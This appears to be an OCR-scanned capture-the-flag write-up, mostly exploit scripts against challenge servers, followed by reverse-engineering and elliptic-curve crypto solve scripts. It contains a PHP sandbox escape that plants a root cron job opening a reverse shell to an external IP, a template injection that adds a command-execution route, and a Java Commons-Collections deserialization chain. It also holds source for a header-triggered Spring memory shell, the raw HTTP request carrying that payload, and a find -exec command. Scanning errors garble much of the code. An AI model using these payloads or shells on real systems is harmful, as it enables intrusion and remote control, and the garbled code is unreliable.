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import requests

url = 'http://eci-2ze8s04bx2wv3zny8l0a.cloudecil.ichunqgiu.com/"
sandbox_url = 'http://eci-
2ze8s04bx2wv3zny8l10a.cloudecil.ichunqgiu.com/sandbox"

def get_session(id):

resp = requests.post(url, data={'id': id},
allow_redirects=False)

return resp.cookies['session']

def send_payload(session, payload):



cookies = {'session': session}

resp = requests.post(sandbox_url, data={'code': payload},
cookies=cookies)

return resp.text

def escalate_priv(cmd):
session = get_session('ABC12345")

mkdir_payload = "<?php system('mkdir logging') ?>"
send_payload(session,mkdir_payload)

create_file_payload = r"""<?php system('echo "import
os\nos.system(\'{} > /tmp/a.txt\')" > logging/__init__.py');?
>t format(cmd)

send_payload(session, create_file_payload)

getoutput_payload = "<?php system('cat /tmp/a.txt') ?2>"
return send_payload(session, getoutput_payload)

escalate_priv('ln -s /etc/cron.d /sandbox/CRONCRON')

cron_session get_session('CRONCRON")

cron_payload = """

# <?php system('sudo -1'); ?>

* % % % x root bash -c 'bash -i >& /dev/tcp/122.51.21.9/65123 0>&1'

send_payload(cron_session, cron_payload)
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import requests

url = 'http://eci-
2ze870nxuud7kn92ktzy.cloudecil.ichungiu.com:8000/calc'
# url = 'http://127.0.0.1:8000/calc'

payload =
r'''app.routes[(dict(e=a)|join|count)].__class__.__init__.__builtins_
_['eval'l("app.add_api_route('/shell', lambda x:
__import__('os').popen(x).read())", {'app':app})'""'

resp = requests.get(url, params={'calc_req': payload})
print(resp.text)

RIG1AI8] /shell?x=cat /flag
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package com.example.easyjava;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import
org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;

import java.lang.invoke.MethodHandles;
import java.util.Baseb4;

import java.util.HashMap;

import java.util.Map;

public class Demo {
public static void main(String[] args) throws Exception {
UnsafeUtil.patchModule(Demo.class);
UnsafeUtil.patchModule(ReflectUtil.class);

UnsafeUtil.patchModule(UTF80verlongObjectOutputStream.class);

String s =
"yv66VgAAADMBLAgAAQEAFENhY2h1LUNVvbnRyb2wtSGIvYm5mCgAEAAUHAAYMAACACAEA
EGphdmEVbGFuUZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYIAA0BAA9zdW4ubW1lzYy5VbnNhZ
mUKAAWADQcADgwWADWAQAQAPamF2YS9sYW5nLONsSYXNzZAQAHZm9y TmFtZQEAJShMamF2YS



9sYW5nLINOcmluZzspTGphdmEVvbGFuZy9DbGFzczsIABIBAA1©aGVVbnNhZmUKAAWAFAw
AFQAWAQAQZ2VORGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nLINOcmluZzspTGphdmEv
bGFUZy9yZWZsZWNOLOZpZWxkOwoAGAAZBWAaDAAbABWBABAqYXZhL2xhbmcvemVmbGVjd
C9GaWVsZAEADXN1dEF]jY2Vzc21ibGUBAAQoWilWCgAYAB4MABSAIAEAA2d1dAEAJihMam
F2YS9sYW5nL09iamVjdDspTGphdmEVbGFUZy9PYmplY3Q7BwAiAQAPc3VulL21pc2MvVW5
ZYWZ1CAAKAQAJZ2VOTWIkdWx 1ICgAMACYMACCAKAEAEWd1dER1Y2xhcmVkTWVOaG9kAQBA
KExqYXZhL2xhbmcvU3RyaW5n01tMamF2YS9sYW5nNLONSYXNzOy1MamF2YS9sYW5nL3J1Z
mx1Y3QvTWV0aG9kOwoAKgArBwAsDAATAC4BABhgYXZhL2xhbmcvemVmbGVjdC9NZXRob2
QBAAZpbnZva2UBADKoTGphdmEVbGFUZy9PYmplY3Q7WOxqYXZhL2xhbmcvT2JqZWNOOy1
MamF2YS9sYW5nLO9iamVjdDsHADABACxvcmcvYXBhY2h1L2NvbWlvbnMvY29sbGVjdGlv
bnMvZnVuY3RvcnMVRXZpbAgAMgEABmM1vZHVsZQoAIQAGDAALADYBABFvYmplY3RGawWVsZ
E9mZnN1dAEAHChMamF2YS9sYW5nL3J1Zmx1Y3QvRm11bGQ7KUoKACEAOAWAOQA6AQAPZ2
VOQW5kU2VOT2JqZWNOAQASKEXgYXZhL2xhbmcvT2JgZWNOOOpMamF2YS9sYW5nL@9iamV
jdDspTGphdmEVbGFUZy9PYmplY3Q7BWASAQATamF2YS9sYW5nLOV4Y2VwdGlvbgoALwA+
DAA/AAgBAANYydW4KAEEAQgCcAQWWARABFAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJ1b
NRUaHJ1YWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwoAQQBHDABIAEKBABVNZXRDb250ZX
h@Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CABLAQA8b3JInLnN
wemluzZ2ZyYW11d29yay53ZWIuY29udGV4dCoyZXF1ZXNOL1J1cXV1c3RDb250ZXh0SG9s
ZGVyCgBNAE4HAESMAFAAEAEAFWphdmEVbGFuZy9DbGFzcOxvYWR1cgEACWXVYWRDbGFzc
WwgAUgEAFGd1dFJ1cXV1c3RBdHRyawWJ1dGVzCgAvAFQMAFUAVgQEADGludm9rZUl1dGhvZA
EAOChMamF2YS9sYW5nL@9iamVjdDtMamF2YS9sYW5nLINOcmluZzspTGphdmEVbGFuUZy9]bWQuUZXh1CA
CXAQACL2MKAJKkAmgcAmwwANACdAQARamF2YS9sYW5nL1J1bnRpbWUBAApNZXRSdwW50awl
1AQAVKC1MamF2YS9sYW5nL1J1bnRpbWU7CgCZAJ8MAHQAOAEAKChbTGphdmEVbGFUZY9T
dHIpbmc7KUxgYXZhL2xhbmcvUHIvY2VzczsKAKIAowcApAwApQCmAQARamF2YS9sYWbnL
1Byb2N1c3MBAASNZXRIbnB1dFNOcmVhbQEAFygpTGphdmEvawW8vSW5wdXRTdHJI1YWO7Bw
CoAQARamF2YS91dG1sLINGYW5uZXIKAKcAqgwABWCTAQAYKEXQYXZhL21vLO1ucHVOU3R
yZWFt0y1WCACtAQACXGEKAKCATWWASACXAQAMAXNIRGVsaWlpdGVyAQANKExqYXZhL2xh
bmcvU3RyaW5n0y1MamF2YS91dG1sLIN]YW5uZXI7CACzAQAACgCNALUMALYAbQEAB2hhc
051eHQHALgBABdgYXZhL2xhbmcvU3RyaWsnQnVpbGR1cgoAtwAFCgC3ALSMALWAVQEABM
FwcGVUZAEALShMamF2YS9sYW5nLINOcmluZzspTGphdmEvbGFuUuZy9TdHIpbmdCdW1lsZGV



yOwoApwC/DADAAGKBAARUZXhOCgC3AMIMAMMAaQEACHRVU3RyaW5nCgA7AMUMAMYAaQEA
Cmd1ldE11c3NhZ2UKAC8AYAWAVQDJAQBAKEXQqYXZhL2xhbmcvT2JgZWNOO®xqYXZhL2xhb
mcvU3RyaW5n01tMamF2YS9sYW5nLONSYXNzO1tMamF2YS9sYW5nLO9iamVjdDspTGphdm
EvbGFuzZy9PYmplY3Q7CgAMAMsSMAMWAZQEAEMd1dER1Y2xhcmVkTWVOaG9kcwEAHSgpWO X
gYXZhL2xhbmcvemVmbGVjdCINZXRob2Q7CgAqAMBMANAAaQEAB2d1dEShbWUKAGEAOgWA
OWDUAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWNOOylaCgAgANYMANCA2AEAEWd1d
FBhcmFtZXR1c1R5cGVzAQAUKCl1bTGphdmEVvbGFUuZy9DbGFzczsHANOBAB9qYXZhL2xhbm
cvTm9TdWNoTWVOaG9kRXhjZXBOaW9uCgAMANWMANOGAXgEADWA1dFN1cGVyY2xhc3MKANK
A3wwABWB5CgAgABKHAOIBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2VzcOV4Y2VwdGlvbgcA
5AEAGmphdmEVbGFuZy9Sdw50aW11RXhjZXB@aW9uCgDhAMUKAOMA3WEABENVZGUBAA9Ma® wQ2xhc3MHARSBAApTb3VyY2VGaWx1AQAJRXZpAABSAAgAaQAVAPoA+wAHABQAagD8APQAAgACAGIA/QDOAAMAIQBZAP4A9AAEADKARQD/A
PMABQBPACSBAAEBAAYAAACDAOoA6WAAAACATAECAQMAAQD4AAAADQAD/AB+BwBNQgcAOw
AAAgBOAHUAAQDNAAABKQAEAAGAAACXBDOSgLgAgk4txgARLbYAhXKKtgCMMQAFAZOcmQA
YBrOAYVKDEpBTWQQSkINZBStTpwAVBrOAYVKDEpRTWQQS11NZBStTOgS4AJgZBLYANTYA
oToFuwCnWRkFtwCpEqy2AK46BhKyOgcZBrYAtJkAH7sAt1m3ALKkZB7YAuhkGtgC+tgCét
gDBOgen/98ZB7BNLE4ttgDESAABAAAAjgCPADsSAAWDOAAAAMgAMAAAAPQACAD4ACAA/AB
gAQAAaAEMARWBEAFQARQBKAEgAJABLAISATACQAEQOAkgBOAOKAAABMAAOAAgCNAQQBBQA
CAAgAhwEGAQEAAWBHAEgBBWETIAAQAVAA7AQkBCgAFAGQAKWELAQWABgBOACCcBDQEBAACA
kgAFAQ4BDWADAJAABWEQAQ8AAgAAAJCA6gDTAAAAAACXAQABAQABAPgAAAABAAL9ABOBB
wBhGFEHARH/ACIACAcALwWcAYQEHAGEHAREHARIHAKcHAGEAACP/AAIAAgcALwWCcAYQABBw
A7AATIAVQBWAAIASWAAAEOABQADAAAADYor LAO9AAWDVQAEtwDHSAAAAATA6AAAAAYAAQA" ;
byte[] data = Baseb64.getDecoder().decode(s);

Transformer[] transformers = new Transformer[1{
new ConstantTransformer(MethodHandles.class),
new InvokerTransformer("getDeclaredMethod", new
Class[1{String.class, Class[].class}, new Object[1{"lookup", new
Class[01}),
new InvokerTransformer("invoke", new Classl[]
{Object.class, Object[].class}, new Object[1{null, new Object[01}),
new InvokerTransformer("defineClass", new Class[]
{bytel[].class}, new Object[Il{data}),
new InstantiateTransformer(new Class[0]1, new
Object[0]),
new ConstantTransformer(1)
b3



Transformer transformerChain = new ChainedTransformer(new
Transformer[J{new ConstantTransformer(1)});

Map innerMap = new HashMap();

Map outerMap LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.remove("keykey");

ReflectUtil.setFieldValue(transformerChain, "iTransformers",
transformers);

System.out.println(Baseé64.getEncoder().encodeToString(SerializeUtil.
serialize(expMap)));

by
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package org.apache.commons.collections.functors;

import java.io.InputStream;

import java.io.Writer;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import java.util.Scanner;

import sun.misc.Unsafe;

public class Evil {
private String getRegHeaderName() {
return "Cache-Control-Hbobnf";

public Evil() throws Exception {
try {
Class unsafeClass = Class.forName("sun.misc.Unsafe");



Field unsafeField =
unsafeClass.getDeclaredField("theUnsafe");

unsafeField.setAccessible(true);

Unsafe unsafe = (Unsafe)unsafeField.get((Object)null);

Method getModuleMethod =
Class.class.getDeclaredMethod("getModule");

Object module = getModuleMethod.invoke(Object.class);

Class cls = Evil.class;

long offset =
unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

unsafe.getAndSetObject(cls, offset, module);

} catch (Exception var9) {

by

this.run();

public void run() {
ClasslLoader classlLoader =
Thread.currentThread().getContextClassLoader();

try {

Object requestAttributes =
this.invokeMethod(classlLoader.loadClass("org.springframework.web.cont
ext.request.RequestContextHolder"), "getRequestAttributes");

Object request = this.invokeMethod(requestAttributes,
"getRequest");

Object response = this.invokeMethod(requestAttributes,
"getResponse");

Method getHeaderM =
request.getClass().getMethod("getHeader", String.class);

String cmd = (String)getHeaderM.invoke(request,
this.getRegHeaderName());

if (cmd != null && !cmd.isEmpty()) {

Writer writer = (Writer)this.invokeMethod(response,
"getWriter");
writer.write(this.exec(cmd));
writer.flush();
writer.close();
b
} catch (Exception var8) {



private String exec(String cmd) {
try {
boolean islLinux = true;
String osType = System.getProperty("os.name");
if (osType != null &&
osType.toLowerCase().contains("win")) {
isLinux = false;

y
String[] cmds = isLinux ? new String[l{"/bin/sh", "-c",
cmd} : new String[J]{"cmd.exe", "/c", cmd};

InputStream in =
Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");

String execRes;
for(execRes = ""; s.hasNext(); execRes = execRes +
s.next()) {

return execRes;

} catch (Exception var8) {
Exception var8 = var$8;
Exception e = var8;
return e.getMessagel();

private Object invokeMethod(Object targetObject, String
methodName) throws NoSuchMethodException, IllegalAccessException,
InvocationTargetException {
return this.invokeMethod(targetObject, methodName, new
Class[@], new Object[91);
¥



private Object invokeMethod(Object obj, String methodName,
Class[] paramClazz, Object[] param) throws NoSuchMethodException,
InvocationTargetException, IllegalAccessException {
Class clazz = obj instanceof Class ? (Class)obj
obj.getClass();
Method method = null;
Class tempClass = clazz;

while(method == null && tempClass != null) {
try {
if (paramClazz == null) {
Method[] methods =
tempClass.getDeclaredMethods();

for(int i = @; i < methods.length; ++i) {
if (methods[i].getName().equals(methodName)
&& methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;

¥
} else {
method = tempClass.getDeclaredMethod(methodName,

paramClazz);

¥
} catch (NoSuchMethodException varil2) {

tempClass = tempClass.getSuperclass();

if (method == null) {
throw new NoSuchMethodException(methodName);

} else {
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke((Object)null, param);
} catch (IllegalAccessException varil0) {
throw new RuntimeException(varl@.getMessage());
¥
} else {



try {

return method.invoke(obj, param);

} catch (IllegalAccessException varill) {

throw new RuntimeException(varll.getMessage());
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POST / HTTP/1.1

Host: eci-2ze9cad81x3wz9it9zts.cloudecil.ichungiu.com:8080
Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/web
p,image/apng,*/%*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1723292220

Connection: keep-alive

—form-urlencoded

data=

r0@ABXNyACLBqsGhwbbBocCuwbXBtMGpwazArsGIwaHBs8GowY3BocGwBQfawcMWYNEDAAIGAA
psb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHCIAAAAEAAAAAFzcgBowa/BssGnwK7B
ocGwwaHBo8GowaXArsGjwa/BrcGtwa/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa/BrsGzwK7Bq8
GlwbnBtsGhwazBtcGlwK7B1MGpwaXBpMGNwaHBsSMGFwa7BtMGywbmKrdKbOcEf2wIAAKwAA2t 1
eXQAEkxqYXZhL2xhbmcvT21qZWNOOOWAA21hcHQADOXqYXZhL3VOaWwvTWFwO3hwdAAGa2V5a2
V5¢3IAVMGvwbLBp8CuwaHBsMGhwaPBgqMGlwK7Bo8Gvwa3BrcGvwa7Bs8CuwaPBr8GswazBpcGj
wbTBgqcGvwa7Bs8Cuwa3BocGwwK7BjMGhwbrBucGNwaHBsG7 11IKeeRCUAWABTAAHZMF jdG9yeX
QALExvcmcvYXBhY2h1L2NvbW1vbnMvY29sbGVjdGlvbnMvVHIhbnNmb3JtZXI7eHBzcgBOwa/B
ssGnwK7BocGwwaHBo8GowaXArsGjwa/BrcGtwa/BrsGzwK7Bo8GvwazBrMGlwaPBtMGpwa/Brs
GzwK7BpsGlwa7Bo8GOwa/BssGzwK7Bg8GowaHBqcGuwaXBpMGUwbLBocGuwbPBpsGvwbLBrcGl
wbhIwx5fsKHgXBAIAAVSADWlUcmFuc2ZvemllcnNOAC1bTGIyZy9hcGFjaGUvY29tbW9ucy9jb2
xsZWN@aW9ucy9UcmFuc2Zvemllcjt4cHVyAFrBm8GMwa/BssGnwK7BocGwwaHBo8GowaXArsGj
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Response

Pretty Raw Hex Render

HTTP/1.1 200

Date: Sat, 17 Aug 2024 08:55:15 GMT
Connection: keep-alive
Content-Length: 42
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touch /tmp/test && find /tmp/test —exec cat /flag \\;


https://github.com/qi4L/JYso/blob/master/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java
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cid5c
{
V6 = 0i64;
while ( 1)
{
v7 = v95;
if ( v97 > OxF )
v7 = (void **)v9s[e];
v8 = *((_BYTE *)v7 + v6);
if ( (unsigned __ int8)(v8 - 48) > 9u && (unsigned _ int8)(v8 - 97) > Ox1lAu && vi !=
break;
++Vv4;
++V6;
if ( v4 >= (unsigned __inté4)(vo9s6 - 2) )
goto LABEL_10;
}

v22 = std::operator<<<std::char_traits<char>>(std::cout, "Error.");
std::ostream: :operator<<(v22, std::endl<char,std::char_traits<char>>);
}
v74 = vo4[e];
v75 = (char *)*((_QWORD *)vo4[e] + 1);
if ( lv75[25] )

ZIEE/RBflagii3F T, ItHEsha2s6HBARHX=1FT

' && v ="

)



v9 = 0i64;
while ( 1)
{
sub_140001FFQ(vS5, pbInput, v9);
BCryptOpenAlgorithmProvider(&phAlgorithm, L"SHA256", ©i64, 9);
BCryptCreateHash(phAlgorithm, &phHash, @i64, ©, 0i64, 0, 0);
v10 = (UCHAR *)pbInput;
if ( v89 > oxF )
v10 = pbInput[e];
BCryptHashData(phHash, v1@, cbInput[@], ©);
BCryptFinishHash(phHash, &pbOutput, ©x20u, 0);
BCryptDestroyHash(phHash);
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
vll = v89;
v12 = v89 > OxF;
vl3 = &v101;
vid = 2i64;
vl5 = 2i64;
v1l6 = *(_QWORD *)cbInput;
vl7 = pbInput[e];
do
{
v1l8 = pbInput;
if ( vil > OxF )
v18 = (PUCHAR *)v17;
*(vl3 - 1) A= *((_BYTE *)vi8 + (vi4 - 2) % v16);
v1i9 = (v14 - 1) % vie;
if (vi2 )
{
*y13 A= v17[v19];
v13[1] 2= vi7[vi4 % vi6];

v13[2] "= vi7[(v1i4 + 1) % vie];
v13[3] "= vi7[(v14 + 2) % v16];
v13[4] "= v17[(v1i4 + 3) % vie];
v13[5] "= vi7[(v1i4 + 4) % vie];
v1i3[6] ~= v17[(v1i4 + 5) % vie];
v13[7] "= vi7[(v1i4 + 6) % vi6];
v13[8] "= v17[(v14 + 7) % vi6];
1ol Ao a7l v 0N & e
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L1\ \UNISLEISU _ LIILD4 ) \(PULIIPULLY] = VOO = ©) 2 YALrM )
invalid_parameter_noinfo_noreturn();

j_j_free(vee);
V55 += 32;
while ( v55 != v56 );

v54 = v99;
}
v67 = (char *)Bufl[e];
if ( (void *)(Bufi[1] - Bufi[e]) != (void *)1280

|| (v68 = memcmp(Bufi[@], &unk_1400090C0, ©x500ui64), vE69 = "right,flag is your input!", ve68) )
{

v69 = "Error.";
v70 = std::operator<<<std::char_traits<char>>(std::cout, v69);
std::ostream: :operator<<(v70, std::endl<char,std::char_traits<char>>);
if ( ve7 )
{

V72 = V67,

if ( (unsigned __int64)(v54 - (_QWORD)VE7) >= ©x1000 )

{
v67 = (char *)*((_QWORD *)v67 - 1);
if ( (unsigned __int64)(v72 - v67 - 8) > OX1F )
invalid_parameter_noinfo_noreturn();

}
j_j_free(ve7);
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import hashlib

import binascii

import sys
sys.setrecursionlimit(10000)

def sha256_hash(data):
sha256 = hashlib.sha256()
sha256.update(data.encode('utf-8'))
return sha256.digest()

def xor_with_key(data, key):

key_len = len(key)

return bytes([datali] * key[i % key_len] for i in
range(len(data))l)

results = dict()

def gen():
alphabet = "012345678%9abcdefghijklmnopgrstuvwxyz{}-"
for c¢_1 in alphabet:
for c¢c_2 in alphabet:



for c¢_3 in alphabet:

data = c_1 + c_2 + c_3
sha256_hash(data)
xor_with_key(hash_value,

hash_value

Xor_result
data.encode('utf-8'))
results[xor_result.hex()] = data



my_data =
binascii.unhexlify("EB74464F7924C56210CBFFC5A239BER399ED2C8FB9542BA7C 4D" )

three _chars = dict()



def dfs(curr_flag, depth):

if "}" in curr_flag or depth > 42:
print(curr_flag)
return

print("Looking for three-char strings starting with",

curr_flag[-2:1)

for next_part in three_chars[ curr_flag[-2:]1 1:

print("Trying", next_part)

dfs(curr_flag + next_part[-1], depth+1)

gen()

for 1 in range(©, len(my_data), 9x20):

curr_data = my_datal[i:i+0x20]
ans = results[curr_data.hex()]
print(ans, end='\n")

if ans[:2] in three_chars.keys():
three_chars[ ans[:2] 1].append(ans)
else:
three_chars[ ans[:2] 1 = [ ans ]

print ("\n\n")
dfs("fla", 0)

Crypto

backdoorplus

Gx
Gy

6277101735386680763835789423207666416083908700390324961279
6277101735386680763835789423176059013767194773182842284081
Ox64210519E59C80E70FA7E9AB72243049FEBSDEECC146B9B1

Ox188DABOEBO3090F67CBF20EB43A18800F4FFOAFD82FF1012
0x07192B95FFC8DA78631011ED6B24CDD573F977A11E794811



E = EllipticCurve(GF(p), [-3, bl)
E(Gx, Gy)

a, b, w, X = 751818, 1155982, 908970521, 20391992

ST = 6052579169727414254054653383715281797417510994285530927615
mr = 3839784391338849056467977882403235863760503590134852141664
sP = E.1ift_x(sr)

# import gmpy?2
from tgdm import tqdm
def bsgs(g,y,bound):
m = isqgrt(bound)+1
dic={}
tmp = E(0Q)
t = mkg
for j in (range(m)):
dic[str(tmp)]l = jJ
tmp += t

tmp = vy
t=9g
for j in tqgdm(range(m)):
if str(tmp) in dic.keys():
return dic[str(tmp) I*xm+j
tmp —= ¢

bsgs(G, sP, 2749)

from hashlib import shal
import gmpy2

t 1

Y X x G

n 6277101735386680763835789423176059013767194773182842284081
kl = 432179965122662

a, b, w, X = 751818, 1155982, 908970521, 20391992

z=(kl —-w*xt) G+ (-a* kI —b) xY

zx = int(z.x()) % n

k2 = int(shal(str(zx).encode()).hexdigest(), 16)



cC =
129471652338588039271022447657800987029234312306235240286970250511065
2244504101007338338248714943

# cCc =
127511757595325892878908164657953913048708756454035610286502367793029
0058381686661519205663547111

p = k2

for i in range(99):

p = gmpy2.next_prime(p)
gmpy2.next_prime(p)

phi = (p-1)*(g-1)

d inverse_mod (65537, phi)

m = int(pow(c, d, pxq))

from Crypto.Util.number import x*

O
1

for 1 in range(2%%20):
M = long_to_bytes(m+ixpxq)
if b'flag' in M:
print (M)
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